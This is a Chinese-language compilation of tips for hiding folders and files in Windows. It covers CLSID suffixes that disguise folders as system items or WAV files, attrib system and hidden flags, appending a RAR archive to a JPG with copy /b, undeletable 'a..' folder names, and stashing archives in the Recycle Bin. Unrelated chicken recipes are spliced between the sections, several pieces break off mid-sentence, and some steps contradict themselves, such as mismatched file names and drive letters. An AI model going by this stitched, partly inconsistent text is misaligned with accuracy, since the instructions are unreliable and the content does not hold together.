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世上最全的【隐文件夹好方法】

世上最全的【隐文件夹好方法】
世上最全的【隐文件夹好方法】

世上最全的【隐文件夹好方法】

第一招:利用Clsid

我们先新建一个文件夹,随便取个名字:yulinmufeng 然后呢,我们给这个文件夹加个扩展名(后缀)yulinmufeng.{21ec2020-3aea-1069-a2dd-08002b30309d} 大家看看,现在文件夹变成了什么样。呵呵,成了“控制面板”。

双击这个文件夹和双击桌面上的“控制面板”是一样的效果。所以别人无论怎样也看不到文

件夹里面的内容了。

当然,你自己一定要知道还原的方法。

下面教给大家:在dos下修改文件名。

步骤:开始——运行——CMD——文件夹的目录(如果是D盘则输入“D:”回车)

如果那个文件夹叫“yulinmufeng”,想改成“longyun”

则输入这样的名命ren yulinmufeng.{21ec2020-3aea-1069-a2dd-08002b30309d} longyun 按回车键就可以了。

CLSID:

GUID,它是Globally Unique Identifier的简称,中文翻译为“全球唯一标示符”,在Windows系统中也称之为Class ID,缩写为CLSID。对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件,Windows都会分配一个唯一表示它的ID代码

常见组件类对应的CLSID

我的文档:450D8FBA-AD25-11D0-98A8-0800361B1103

我的电脑:20D04FE0-3AEA-1069-A2D8-08002B30309D

回收站:645FF040-5081-101B-9F08-00AA002F954E

控制面板:21EC2020-3AEA-1069-A2DD-08002B30309D

历史文件夹:7BD29E00-76C1-11CF-9DD0-00A0C9034933

Clsid也可用于指定路径,格式为:

回收站:

::{645ff040-5081-101b-9f08-00aa002f954e}

控制面板:

::{21ec2020-3aea-1069-a2dd-08002b30309d}

我的电脑

::{20D04FE0-3AEA-1069-A2D8-08002B30309D}

在注册表中展开HKEY_CLASSES_ROOT\CLSID\,在CLSID分支下面就可以找到很多clsid

第二招:利用系统文件夹属性

有些文件,怕别人误删;有些文件,看着碍眼,删除它吧,但是运行一些软件之后,又会重新生成,删又删不掉,看着碍眼。

设置为隐藏呢,在状态栏会显示“加x个隐藏对象”;设置为不显示状态栏呢,又不方便查看。而且,在全选文件的时候,还会弹出一个窗口,说“该文件夹包含x个隐藏文件,如果也将其选定……”,烦人。

教你一招,那就是把它设置为系统文件,这样,只有在勾消“隐藏受保护的操作系统文件(推荐)”的时候,这些文件才可以看到。

开始,运行,cmd,输入以下命令

attrib +s +h +a +r X:\*\*

回车,就可以了。

注释,X代表盘符,*代表文件或文件夹的名字。

如果你想恢复它的属性,把命令中的“+”改成“-”,就可以了。

注释:

+s 设置为系统属性

+h 设置为隐藏

+a 设置存档

+r 设置只读

提示:设置了系统属性,并不是不可以删除,一样可以删除,你可能看不到它的变化

如果你想看到你的文件夹的系统属性的效果的话你可以给再它个隐藏的属性,然后在工具---文件夹选项--显示所有文件和文件夹,但是你还是发现刚才的文件夹还是没有出现. 然后去

掉勾隐藏受系统保护的文件夹,这样它又出来了.这个说明它是系统文件夹了.

第三招:把任意文件隐藏在一张图片里!

准备:1.一张图片 2.一个做试验的txt文件 3.WinRAR

步骤:

1:准备一张图片,比如 1.jpg。准备目标文件,比如1.txt。我们要实现把1.txt隐藏在图片里面。

2:把要隐藏的文件 1.txt 用 WinRAR 压缩。生成 1.rar 压缩包

3:打开命令行提示符:点击“开始→运行”,输入“cmd”。

4:我们假设中两个文件都存放在“ D:”下。输入命令:copy /b D:1.jpg + D:1.rar D:2.jpg 5:ok,试试打开生成的图片 winshome.jpg,没错吧,的的确确是原来的图片。

6:怎样打开那个 txt 文件?打开 WinRAR ,点击“文件→打开(快捷键 Ctrl + O )”,然后选择文件类型为“所有文件”,找到 2.jpg ,选择打开看看,是不是有个 txt 文件?

这种方法适用于所有文件,由于很多博客空间还没有支持附件上传的功能,这是上传文件的一个好方法呢! 它还可以用来隐藏文件

第四招:隐藏txt内容

现创建一个1.TXT文件,在里面写上你想说的话

再找一张图片该为2.jpg,然后敲入下面的命令,

Copy 2.jpg/b(空格)+(空格)1.txt/a(空格)3.jpg

最后用记事本打开3.jpg,你会发现1.txt的内容出现在3.jpg的最下面!(上面是一堆乱码)。

第五招:利用DOS文件命名的漏洞隐藏文件

步骤如下:

以在E盘新建一个名称为a的文件夹为例

一、依次打开“开始”-“运行”,输入cmd,回车,就会打开“命令提示符”

二、在“命令提示符”里切换到你想要建文件夹的盘符(如:E盘)

三、输入md d:\a..\,然后回车,注意这里md后面有一个空格,文件夹的名称要用英文或数字,后面两个点和一个斜杠

四、现在到你建文件夹的盘里面看看是不是多了一个a文件夹,双击一下,是打不开的,右键删除一下,也是删不掉的。

五、打开方法:依次打开“开始”-“运行”,输入“d:\a..\”,回车。

主要的命令:

创建命令:md d:\a..\

删除命令:rd /q /s d:\a..\

打开也可用此命令:start d:\a..\

第六招:在空文件名的文件夹内隐藏文件

在桌面新建一个文件夹,如图

对文件夹重命名,按住alt用小键盘输入0160,回车,

如果没有小键盘点击重命名,将鼠标在指向已经被选中的文件名,右击,在下拉菜单中选择插入Unicode控制字符(I)--选择LRM lefe-to-right-mark 不用输任何东西,退出确定!

需要注意的是:如果用插入Unicode控制字符来命名,文件夹不可以直接建立在磁盘的根目录下!要先建立一个文件夹,然后在文件中建立一个子文件夹才行!

或者以全角空格(不是直接空格) 命名!怎么样奇怪吧,这样文件名就是空白了!

此时文件夹的名字为空白了

此时更改文件夹的图标,右键文件夹,选择属性

选择空白的图标:

更改图标后的文件夹,如图

然后此时把桌面的自动排列取消掉

然后把文件夹托到桌面任意一个位置,刷新就看不见了

当然也可放到磁盘的任意位置

那么我们怎么才容易找的到了,只要我们刷新一下,隐藏的文件夹就会闪一下!第七招:障眼法

进CMD,这一句ren 1 " ./" 的意思是将文件夹名称改为空。这里我要说明一下,一旦我们将它改为空时,文件夹将不能再被改名(除非是在CMD下),也不能删除,

如何删除呢

问得好!请看操作!我们还是CMD下改,因为桌面改不了的!

rd /s /q " ./"

这里补充一下,一定要按这样的顺序来

建立文件夹》更改图标》更改文件名

第八招: 利用WINRAR和回收站隐藏机密文件

★把机密文件隐藏到回收站的好处

1. 回收站是存放“垃圾”文件的,不易被人注意;

2. 隐藏在回收站的文件即使打开回收站也无法看到,即使在“文件夹选项”中关闭“隐藏受保护的操作系统文件”也无法看到;

3. 隐藏在回收站的文件在“清空回收站”时也不会被清除

★所需软件支持:WinRar

★步骤

1. 启动WinRar,用winrar进入D盘找到RECYCLER(有的系统是RECYCLED),打开,会看到几个图标为回收站的形如"S-1-5-21…“的文件夹,双击其中任何一个进入,会看到两个系统文件INFO2, desktop.ini(注意一定要进到这一层,否则你隐藏的文件可能在关闭“隐藏受保护的操作系统文件”时被发现);

2. 点击WINRAR中的“添加”按钮,在“常规”中取一个“压缩文件名”(有默认的文件名,就是这个回收站的名称,为增加隐秘性,建议修改),在“文件”中“追加”你要隐藏的文件,在“高级”中“设置密码”,完了点下面的“确定”;

3. 返回资源管理器,删除原文件。

现在除了你没有人知道回收站里有个机密文件,你可以执行“清空回收站”的操作,它安然无恙,你也可以在“文件夹选项”中设置成显示一切文件,但在资源管理器中照样看不见它。

即使有人利用WINRAR在回收站中发现了这个文件,因为已被加密,一样无法查看其内容。

自己要查看怎么办呢?还是运用WINRAR,进入回收站,选择该文件解压到指定目录即可。

★重要提示:因为WINRAR会记住最近一次关闭时打开的文件夹,因此为了防止机密文件压缩包被暴露,操作完成后,要将WINRAR转到其他路径再关闭,否则下次打开WINRAR就会直接进入你隐藏文件这个地方。

三种方法教你隐藏文件

1.首先这里介绍一个,最简单的隐藏文件夹的方法,大家应该都会的!修改文件的扩展名!大家都知道在操作系统中任何格式的文件,到要用对应的软件来打开!如果将其后缀名改了,我们在双击打开时,系统将会自动关联对应程序来打开!那么别人打开文件就什么也看不到!如果你想隐藏一个电影格式的文件,那么,你可以将它的扩展名改成非电影格式的扩展名。例如“改成.txt或者.jpg等等。当然改成.1或者.a等等也是可以的(这样他根本就没有打开方式,网上的搜不到)!那么别人打开文件就什么也看不到,你自己要看的时候再改回原来的扩展名即可。 但这一招容易被识破,因为文件的大小一看就与内容不符。 2.接下来这个了,就比较神奇一点了! 首先,我们新建一个文件夹,然后点击重命名,将鼠标在指向已经被选中的文件名,右击,在下拉菜单中选择插入Unicode控制字符(I)--选择LRM lefe-to-right-mark 不用输任何东西,退出确定!或者以全角空格(不是直接空格) 命名!怎么样奇怪吧,这样文件名就是空白了! 然后点击属性---自定义---更改图标---选择空白图标确定---应用或者确定退出!这下文件夹也是空白的了!(不要说你找不到空白图标,在图标选择框里,空白图标你是看不到的,只要找到有空位的地方点一下就是了!) 接下来我们就可以在里面保存东西了!这下就除了你,就没人知道那个位置有个文件夹了!最好再给它设置成隐藏!多一份保险!!

嘿嘿!我们怎么才容易找的到了,只要我们刷新一下,隐藏的文件夹就会闪一下! 需要注意的是: 如果用插入Unicode控制字符来命名,文件夹不可以直接建立在磁盘的根目录下!要先建立一个文件夹,然后在文件中建立一个子文件夹才行!用全角空格命名,就可以随意建在那里! 如何输入全角空格:先切换到五笔或者智能ABC输入法,然后按住Shift不放,按一次空格键,待那个月亮变成圆形,然后按空格即可!这样隐藏文件夹也不是很保险,如果输入文件后缀查找,也是能显示文件夹里的文件的! 3.下面介绍一个技术一点的给大家! 我们先新建一个文件夹,随便取个名字:123 然后呢,我们给这个文件夹加个扩展名(后缀) 123.{21ec2020-3aea-1069-a2dd-08002b30309d} 大家看看,现在文件夹变成了什么样。呵呵,成了“控制面板”。双击这个文件夹和双击桌面上的“控制面板”是一样的效果。所以别人无论怎样也看不到文件夹里面的内容了。 当然,你自己一定要知道还原的方法。下面教给大家: 在dos下修改文件名。 步骤:开始——运行——CMD——文件夹的目录(如果是D盘则输入“D:”回车) 如果那个文件夹叫“123”,想改成“456”则输入这样的名命

隐藏文件夹的7种方法

一、用“回收站”隐藏文件 “回收站”本是用来暂存已被删除的文件,但如果将我们的个人文件隐藏在“回收站”中,那就可能谁也不会去关注它了。首先,我们 在“文件夹选项”中的“查看”选项卡中选择“显示所有文件”,然后进入系统所在分区的根目录,右击“Recycled”文件夹选择“属性”命令,在“属性”对话框中勾选“启用缩略图查看方式”复选框,点 击“应用”按钮。这样,系统就会自动将“回收站”的“只读”复选框选中,然后去掉“只读”复选框前的钩,此时,“回收站”的图标将变成一个普通文件夹的形状。双击 “Recycled”文件夹,将需要隐藏的个人资料拖进该文件夹窗口中,然后再次右击“Recycled”文件夹并选择“属性”命令,勾选“只读”复选框后,“回收站”图标就又恢复成原状。此后,如果有人双击“回收站”,他就根本看不到里面有任何文件。即便其他用户执行了文件删除操作,同时又执行了“清空回收 站”的操作,原先被隐藏在这里的文件仍不会被删除。通过巧妙切 换“Recycled”文件夹的属性,我们便可以用它来隐藏自己的秘密文件。 二、将个人文件夹变为“回收站” 我们还可以利用“偷梁换柱”的手法,即将我们的个人文件夹图标变为“回收站”图标。首先,在“Recycled”文件夹的属性窗口中去除掉“只读”属性,以便让它变为普通文件夹图标,进入“Recycled”文件夹并将其中的“desktop.ini”隐藏文件复制到需要隐藏的文件夹下,例如“d:\ zhj”;右击“zhj”文件夹并选择“属性”命令,在弹出的对话框中勾选“只读”、“隐藏”复选框,再勾选“启用缩略图查看方式”复选框。现在我们就会发现,“zhj”文件夹已变成“回收站”图标了,但当他人打开该文件夹所看到的却是原来“Recycled”文件夹中的内容,而不会是“zhj”文件夹里的文件。当然,别忘了 在“文件夹选项”的“查看”选项卡中选中“不显示隐藏文件”项。三、始终不显示隐藏文件 在Windows98中,一般地,我们可以通过在个人文件的“属性”对话框中勾选“隐藏”复选框,然后在“文件夹选项”的“查看”选项卡中选择“不显示隐藏文件”单选按钮来达到隐藏秘密的目的,但稍具计算机知识的人只要选择“显示所有文件”单选按钮就能将它们全部显示

24种鸡的做法

24种鸡的做法 1.新疆大盘鸡主料:鸡、土豆、辣椒配料:花椒、葱、姜、蒜、八角、香叶、孜然粉、咖喱粉酱油等【1】把油倒入锅中,等油热后改小火将花椒下锅,炸出香味后捞出;【2】将白砂糖下锅并慢慢搅动,使糖充分溶解,将鸡肉倒入锅中,用大火立即来回不停翻炒,使每块鸡肉都能上到糖色;【3】待到鸡肉都呈金黄色时加入少许酱油和豆瓣酱,随后放入葱段、压扁的蒜、姜、干辣椒、桂皮、八角、香叶;【4】来回翻炒约3分钟,加水开炖,水刚好漫过鸡肉即可;【5】汤开了之后将土豆倒入锅中,并汤拌匀后一块块的摆放在鸡肉上,先用大火炖6分钟,然后用小火炖10分钟;【6】待到水分差不多快收干时,加入青椒,翻炒均匀即可出锅,起锅收汤,可尝一下汤的咸淡程度,再适当加入少许盐)。 2.辣子鸡主料:鸡腿配料:干辣椒、花椒、胡椒、色拉油、料酒等【1】将鸡腿切丁洗净放入碗中用盐、料酒腌制,微炸成型;【2】锅烧热,下干辣椒炒至棕红色,下花椒炒香,倒如入炸过的鸡腿,烹入料酒、盐、味精、胡椒、白糖、醋、烹入鲜汤炒至鸡丁回软即可。 3.宫保鸡丁主料:鸡胸肉配料:干辣椒、花生、葱、耗油等【1】鸡胸肉切丁,放生抽、盐、料酒腌制,用水淀粉拌匀;【2】葱要切成小段、干辣椒剪去两头,去除辣椒籽;【3】在小碗中调入酱油、醋、盐、白

砂糖和料酒,混合均匀制成调味料汁;【4】锅烧热后将花椒和干辣椒放入,用小火煸炸出香味,随后放入大葱段;【5】放入鸡丁,放1汤匙料酒,炒到鸡肉变色;【6】最后调入料汁,再放入熟花生米,翻炒均匀即可4.小鸡炖蘑菇主料:童子鸡、蘑菇配料:干辣椒、姜、葱、料酒等【1】将小仔鸡洗净,剁成小块;【2】将蘑菇用温水泡30分钟,洗净待用;【3】坐锅烧热,放入少量油,待油热后放入鸡块翻炒,至鸡肉变色放入葱、姜、大料、干红辣椒、盐、酱油、糖、料酒,将颜色炒匀,加入适量水炖十分钟左右后倒入蘑菇,中火炖三四十分钟即成。5.黑椒鸡排主料:鸡排肉配料:黑椒汁、其他调料【1】烧热锅子,把腌好的鸡排皮朝下铺进去,不要放油;【2】小火10分钟,会把鸡皮里的脂肪都逼出来;【3】翻一面,小火8分钟;【4】把油全部倒掉,再翻一下,小火1分钟,把皮烙酥就可以;【5】上碟,淋上烧好的黑椒汁。6.人参鸡汤主料:老母鸡、人参、猪展配料:猪肝、枸杞、姜、红枣等【1】先将鸡剖开洗净,猪展切块,人参洗净;【2】用锅烧水至沸点后,放入鸡、猪展煮去表面血渍后,倒出用水冲净;【3】将猪肝、鸡、鲜人参、枸杞、姜、红枣放入炖盅内,加清水炖2小时,放入盐、鸡粉即可食用。7.白切鸡主料:三黄鸡配料:姜、葱、料酒【1】三黄鸡洗净,掏干净内脏;【2】把葱段、姜片塞入鸡肚里,往鸡身上浇少许料酒,然后放入蒸锅中点大火开蒸;【3】当开锅后,大约

win10“此电脑”窗口里的六个文件夹隐藏 方法

win10“此电脑”窗口里的六个文件夹隐藏大法 说穿了其实很简单,通过修改注册表即可,就如同Win8.1那样,只不过Windows10中的注册表项名称有所变动,但原理是一样的。 首先打开注册表编辑器,方法:【Win + R】打开“运行”框输入“regedit”启动注册表编辑器; 然后定位到: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions,在此项下会看到很多用花括号括起的长字符串,我们需要在其中找到六个项,它们分别对应前面提高的六个文件夹; 按照注册表项名的顺序,首先找到第一个对应“图片”文件夹的项“{0ddd015d-b06c-45d5-8c4c-f59713854639}”,我们可以通过该项右侧窗口中Name的数据值来判断是否是我们需要的项,这里“图片”对应的是英文名Local Pictures 图片文件夹对应的注册表项 接着展开进入它的子项“PropertyBag”,双击右侧窗口中的“ThisPCPolicy”,将其数据数值由Show改为Hide,最后确定即可。 修改注册表隐藏图片文件夹

打开Windows 10文件资源管理器,进入“此电脑”会发现图片文件夹消失了,无需重启或注销系统。 我们只需重复前面的操作,逐一找到其他几个文件夹对应的注册表项修改即可一一隐藏那几个文件夹,它们对应的项如下: 图片文件夹:{0ddd015d-b06c-45d5-8c4c-f59713854639}\PropertyBag 视频文件夹:{35286a68-3c57-41a1-bbb1-0eae73d76c95}\PropertyBag 下载文件夹:{7d83ee9b-2244-4e70-b1f5-5393042af1e4}\PropertyBag 音乐文件夹:{a0c69a99-21c8-4671-8703-7934162fcf1d}\PropertyBag 桌面文件夹:{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PropertyBag 文档文件夹:{f42ee2d3-909f-4907-8871-4c22fc0bf756}\PropertyBag 注:桌面文件夹对应的PropertyBag项内可能没有“ThisPCPolicy”,手动新建一个“字符串值”将其命名为ThisPCPolicy,并赋予Hide值同样可以起到隐藏的作用。 上述注册表项都修改完毕后,刷新一下Windows文件资源管理器就会看到效果了,包括主窗口和左侧导航面板里的六个文件夹全部被隐藏了。

隐藏文件夹的n种方法-加密

隐藏文件夹的n种方法(原创亲测) 一、右键设置—最简单的菜鸟方法: 右键点击文件夹,选择“属性”,然后设置为“隐藏”。操作系统的最基本操作,菜鸟级。 优点:简单方便,无特殊要求可用。 缺点:没有科技含量啊,而且只要设置显示全部文件也就露馅儿了。 星级:★☆☆☆☆ ps:这个方法也可以进阶。可以在命令行中卫其添加系统属性。进入DOS环境,在命令行后面输入\>attrib +s + r +h 文件夹名,这样就给文件夹添加了系统属性。由于系统属性呈灰色(未激活状),一般人也不能更改它的隐藏属性。 二、利用Unicode控制符和文件夹图标的隐藏: 重命名要隐藏的文件夹,右键选择“插入Unicode控制字符”,任意插入一个(或者按住 ALT 的同时使用小键盘的数字键输入0160)。得到一个貌似无名的文件夹: 然后右键点击文件夹,给它更换一个透明的图标:

一刷新就看不见了,哇哈哈哈~ 优点:简单又好用,适合含蓄的隐藏一些东西。(让我想到了中国人的半拉门帘儿*_*) 缺点:刷新时会闪现,鼠标左键圈选时也能看见,不安全。如果文件夹的设置是单击打开文件夹(默认带下划线)这个文件夹就原形毕露了。 星级:★★☆☆☆ 三、修改类识别码欺骗OS: WINDOWS通过一个叫”类识别码”(CLSID)的东西来识别各种文件类型,所以可以通过“误导”系统将文件夹识别成其他文件类型,从而达到伪装文件夹的目的。例如: 在任一地方新建一个文件夹,重命名,在该文件夹名称后加 上.{00020c01-0000-0000-c000-000000000046} 即如: 新建文件夹.wav.{00020c01-0000-0000-c000-000000000046} OK,效果是不是出来了呢?文件夹的图标已经变成了WAV音频文件的图标,我们双击它,WMP将试图播放这个“文件”。 上面文件名中{00020c01-0000-0000-c000-000000000046}部分就是类识别码,上面的.wav部分是为了迷惑别人而加上的假扩展名。 可以在注册表中查看系统所有的类识别码,运行REGEDIT,在HKEY_CLASSES_ROOT根键下面的CLSID子键,下面的子键全部是类识别码,但要注意并不是所有的类识别码都能起到伪装的效果,一般来说类识别码子键下面有DefaultExtension子键的识别码,都能起到伪装的效果。 几个常见文件类型的识别码: {2227a280-3aea-1069-a2de-08002b30309d} 打印机文件 {20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑 {450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档 {208D2C60-3AEA-1069-A2D7-08002B30309D} 网上邻居 {645ff040-5081-101b-9f08-00aa002f954e} 回收站 {21ec2020-3aea-1069-a2dd-08002b30309d} 控制面板 {992CFFA0-F557-101A-88EC-00DD010CCC48} 网络连接 {00020c01-0000-0000-c000-000000000046} WAV文件类型 {00020811-0000-0000-c000-000000000046} Microsoft Excel图表{00020906-0000-0000-C000-000000000046} Microsoft Office Word 97 – 2003 优点:强大实用,“超级兔子”的隐藏文件夹功能就是此原理。 缺点:记上面这些识别码是不是很累啊?而且通过修改文件名也可以简单破解。 星级:★★★☆☆

白砍鸡的正宗做法

白砍鸡的正宗做法 鸡肉是一种很受欢迎的食物,尤其是在中国,吃鸡已经成了最常见的事情,无论是招待客人,还是日常用餐,鸡肉都是必不可少的存在。鸡肉的制作方法有很多种,在四川地区,就比较流行吃白砍鸡。这道菜属于川菜,制作方法也并不难。下面,就为大家详细介绍白砍鸡的制作方法。 一、食物简介 白砍鸡是四川一道家喻户晓的传统名菜,属于川菜系。菜色泽红亮鲜艳,质地嫩气,味厚香浓,香辣味鲜,带有回甜,是佐酒下饭的佳肴。 二、制作方法 原料:嫩三黄鸡1050克,姜25克,水1200ml,黄酒10克调料:姜末、蒜末、蒸鱼豉油、蚝油、调味汁、辣椒油、辣椒面。 调料:姜末、蒜末、蒸鱼豉油、蚝油、调味汁、辣椒油、辣椒面、胡椒粉、麻油、米醋。 做法: 1、嫩三黄鸡拔毛开膛剖洗干净(小贩可代做),把鸡反复清洗,鸡胗、鸡肝、鸡心也清洗干净,去掉体内大块鸡油留烧其它菜用; 2、把鸡对剖两半,鸡腿、鸡翅、鸡颈分别剁下,生姜切成片,将鸡酌情切成大块,以节省时间和燃料; 3、准备一大锅,注入水烧开;

4、水开后,把鸡块和生姜片放入,倒黄酒,盖上锅盖大火煮14分钟; 5、煮至中途时,可开盖一次把鸡翻面,继续煮完14分钟,然后关火,闭盖静置15分钟再打开锅盖; 6、捞出鸡块晾凉或者放到冰箱里冷藏10分钟,最后切成鸡块; 7、把所有调料做成调料汁,鸡块蘸汁吃。(剩下的鸡汤不要倒掉,过滤后留作汤底或取一些作蘸料汁) 三、小贴士 白砍鸡首选嫩三黄鸡。 鸡不能太大,2斤左右最好,煮这个重量的三黄鸡,一般不须超过15分钟。 把鸡剁成几大块下锅熟得快。 一定要鸡块冷却后切小块,热时切,鸡肉会散。 如果喜欢吃有血丝那种,时间可以再减短。 最好根据自家炊具燃力来总结时间长短。

鸡珍的几种实用做法

鸡珍的几种实用做法 据《本草纲目》,鸡胗有“消食导滞”,帮助消化的作用。鸡胗就是鸡的胃。韧脆适中,口感好,据《本草纲目》,它还有“消食导滞”,帮助消化的作用。 但鲜鸡胗要洗得干净,毕竟,它是储藏鸡只所刚刚吞下食物的地方,洗净的鸡胗,不妨用烧水烫一遍先去异味。现在超市里的鸡胗都是处理过的,回来检查一下,洗净再用烧水烫一遍就行了。 下面就介绍几种鸡珍的做法,挺实用的。 油爆双脆 原料 猪肚头20O克,鸡胗150克,绍酒5克,精盐1.4克、葱未2克,姜未1克,蒜未1.5克,味精1克,熟猪油500克(约耗50克),湿淀粉25克,清汤50克。 制作过程 1、将肚头剥去脂皮、硬筋,洗净,用刀划上网状花刀,放入碗内,加盐、湿淀粉拌和,鸡胗洗净,批去内外筋皮,用刀划上间隔2毫米的十字花刀,放人另一只碗内,加盐、湿淀粉拌和。 2、另取一只小碗,加清汤、绍酒、味精、精盐、湿淀粉,拌匀成芡汁待用。

3、炒锅上旺火,放入猪油,烧至八成热,放入肚头、鸡胗,用筷子迅速划散,倒入漏勺沥油。炒锅内留油少许,下葱、姜、蒜未煸出香味,随即倒入鸡胗和肚头,并下芡汁,颠翻两下,即可出锅装盘。 特点 脆嫩滑润,清鲜爽口。 鸡胗萝卜煲 鲜鸡胗,萝卜,陈皮,生姜,共放入砂锅中,微火炖至熟烂,连汤带渣服用,治疗慢性肝炎。 咖喱鸡胗炒饭 鸡珍泡水解冻,切成薄片,洋葱切开备用。 1、油开,放入圆葱爆炒,都沾上油后放咖喱粉,待咖喱粉香味出来时,马上放入鸡珍,一定要切薄哦要不不熟。 2、翻炒,加盐,味精。 3、鸡珍熟后放入米饭(我用的剩饭,嘻嘻)。翻炒。等米饭也变颜色了,就OK啦,哈哈。 广东卤水鸡胗 做法: 1、把鸡珍用盐和生粉清洗干净,过热水(水里放姜),这样可充分去掉腥味 2、用李锦记的卤水半支放入煲内,加适量水,放姜和蒜头,香叶两片,开火煮卤汁。

如何隐藏文件夹

变身伪装隐藏windows文件夹技巧 1.让文件夹摇身变成WAV文件 新建一个文件夹,把要隐藏的文件放入该文件夹中,然后将文件夹重命名为: yourname.wav.{00020C01-0000-0000-C000-000000000046},这样你会看到该文件夹的图标变成了WAV文件的图标,名称是yourname.wav。双击它,执行的不是进入文件夹,而是启动“媒体播放器”,文件夹仿佛变成了声音文件――但却提示打不开。别人一定会以为是受损的声音文件。要想打开它,可直接选中并右击该文件(其实是文件夹,实在是太像文件了),选择“打开”即可。 2.把文件夹变成“网上邻居” 上面的方法虽好,但右击选择“打开”就会让自己的秘密现形,有没有更好的招数呢?将要隐藏的文件夹改名为:网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D},回车后你将看到熟悉的“网上邻居”图标,双击后看一看,和桌面上的“网上邻居”一模一样。 为了伪装得更巧妙,最好将系统默认的桌面“网上邻居”图标删除掉,打开“注册表编辑器”,找到[HKEY_LOCAL_MACHINE\ Software\Microsoft\Windows\ CurrentVersion\ Explorer\Desktop\ NameSpace]。此时就可以看到“网上邻居”等系统图标,根据需要删除即可。 这样桌面上就只剩下你自己创建的“网上邻居”了。 3.破解被“易容”的文件夹 非常简单,只要安装了WinRAR,然后在被易容的文件夹上右击,所有伪装就被轻松地识破了(见图1)。 接着双击打开任意一个RAR压缩包,在地址条中定位到伪装文件夹的上级目录(如果是 C:\test文件夹,就定位到C盘根目录),你会在下面的文件列表中看到伪装文件夹(见图2),选中它后按F2键,将文件夹名后面的标识符去掉即可。

创建隐藏文件夹与打不开的文件夹操作步骤(精)

方法1:隐藏的方法如下:现在要隐藏e盘bak目录下的tools文件夹 e:\bak\tools 运行:cmd 键入:attrib +s +a +h +r e:\bak\tools 然后,你再进去看e盘bak目录下,是否还有tools这个文件夹?这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见自己需要访问的时候怎么办?打开我的电脑--在地址栏键入e:\bak\tools就可以直接进入,条件是,你必须要记得自己的隐藏文件夹名(切记哦)现在需要取消该隐藏文件夹,命令如下:运行:cmd 键入:attrib -a -s -h -r e:\bak\tools 进入e盘bak目录下,会发现tools文件夹显示出来了,很实用吧,呵呵~ 如果你想要真正隐藏文件夹,还是按上面说的比较保险。方法2:建立打不开删不掉的文件夹[此方法win7下不可用]:1、进入cmd 模式(命令提示符,在“运行”中输入cmd后回车。2、在cmd模式下,使用cmd 命令建立文件夹,键入“md e:\news..\”,注意引号里有二个点哦,回车。现在看到在E 盘下有news.命名的文件了。3、试着双击打开看看?或是在运行里打开?怎么样?都提示错误吧?就是删除也照样提示错误,用卡卡文件粉碎也不行。没有人能打开了吧? 4、往里面存放自己秘密文件吧。正常打开方法:在运行里输入“e:\news..\”回车就可以打开,之后操作跟普通文件夹是一样的。(包括图片、文字,有些可能打不开,需要复制到其它地方才能正常打开5、要删除这个文件夹,在CMD模式下使用RD命令即可。“rd e:\news..\”,输入引号里的内容,回车,该文件夹就能删除。(必须在第4点打开的情况下,先用平常删除方法清空文件夹里面的文件后,才进行第5点操作,也就是说,必须删除全部内容后,才能删除掉该文件夹

最全风干鸡制作方法

最全风干鸡制作方法 制作方法一 一、制作方法 1、浸泡 以100斤宰杀好的土鸡为例(约20只),放入100斤水、10瓶花雕酒、1斤老白干酒、姜片、葱段、盐各适量,将土鸡完全浸没,泡3个小时。 2、腌制 将泡好的鸡吸干水分,将盐3斤、干青花椒250克、老白干酒3斤拌匀,均匀抹在鸡身上,一层层封入大缸内,密封腌制24小时,然后翻面,再密封腌制24小时。 3、风干 将腌好的鸡取出,用竹签撑开鸡胸,钩住鸡嘴,挂在自然通风处的竹竿上晾约半个月,直到鸡肉中的水分吹干,即成半成品。 4、蒸制 将吹干的鸡用温水浸泡12-24小时,取出用筷子撑开,平放入托盘内,放入少许花椒、大葱段,上蒸车蒸熟(约30分钟),晾凉斩件装盘即可。 二、技术关键 1、在腌制前必须浸泡3个小时,去净血水和异味。 2、腌制过程必须用保鲜膜密封。

3、半成品可以过塑密封,保质期(冷藏)6个月。 4、本产品只适合在冬季加工制作。 制作方法二 每年腊月温度、湿度低,是制作腊货的最佳时间,农村都是这个时间杀猪、杀鸡腌制腊货,腊货一般需要熏制。城市家庭不具备熏制条件,建议制作风吹鸡等产品,简单且别有风味。 材料准备:宰杀好的鸡5kg、水5kg、花雕酒半瓶、白酒25、盐15g、姜15g、葱10g、厚味无穷老卤膏20g、安琪回味粉(KA66/加强型KA88/KA99)15g方法步骤 1、浸泡:将宰杀好的土鸡(以5kg为例),放入称量好的水、花雕酒、白酒、姜片、葱段、盐,将土鸡完全浸没,泡3个小时。 2、腌制:将泡好的鸡沥干水分,另外将盐80g、干青花椒25g、白酒60g、厚味无穷老卤膏20g、回味粉15克,均匀抹在鸡身上,一层层封入大缸内,密封腌制24小时,然后翻面,再密封腌制24小时。 3、风干:将腌好的鸡取出,用竹签撑开鸡胸,钩住鸡嘴,挂在自然通风处的竹竿上晾约半个月,直到鸡肉中的水分吹干,即成半成品。 4、蒸制:将吹干的鸡用温水浸泡12-24小时,取出用筷子撑开,平放入托盘内,放入少许花椒、大葱段,上蒸车蒸熟(约30分钟),晾凉斩件装盘即可食用。 注:1、在腌制前必须浸泡3个小时,去净血水和异味。

五种方法隐藏你电脑里的文件

五种方法隐藏你电脑里的文件 2009年06月11日21:20:31 作者:上海小-A 平时用电脑比较多,又因为在寝室里,我的电脑又不可能私藏了,所以经常大家都会用用,但是有些个人信息又不便泄露,而虚拟存储既方便又安全,所以就总结了许多种隐藏电脑里的文件的方法,现在就和 大家一起分享了,有些是以前从网上找的,一起介绍了吧 方法一: eg:现需隐藏e盘bak目录下的tools文件夹e:\bak\tools 运行:cmd 键入:attrib +s +a +h +r e:\bak\tools 然后,你再进去看e盘bak目录下,是否还有tools这个文件夹! 这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见 自己需要访问的时候怎么办? 打开我的电脑---键入e:\bak\tools就可以直接进入,条件是,你必须要记得自己的隐藏文件夹名 现在需要取消该隐藏文件夹,命令如下: 运行:cmd 键入:attrib -a -s -h -r e:\bak\tools 进入e盘bak目录下,会发现tools文件夹显示出来了 如果你想要真正隐藏文件夹,还是按上面说的比较保险。 如果你认为不错,请帮忙顶个贴,让大家都可以看见。 方法二 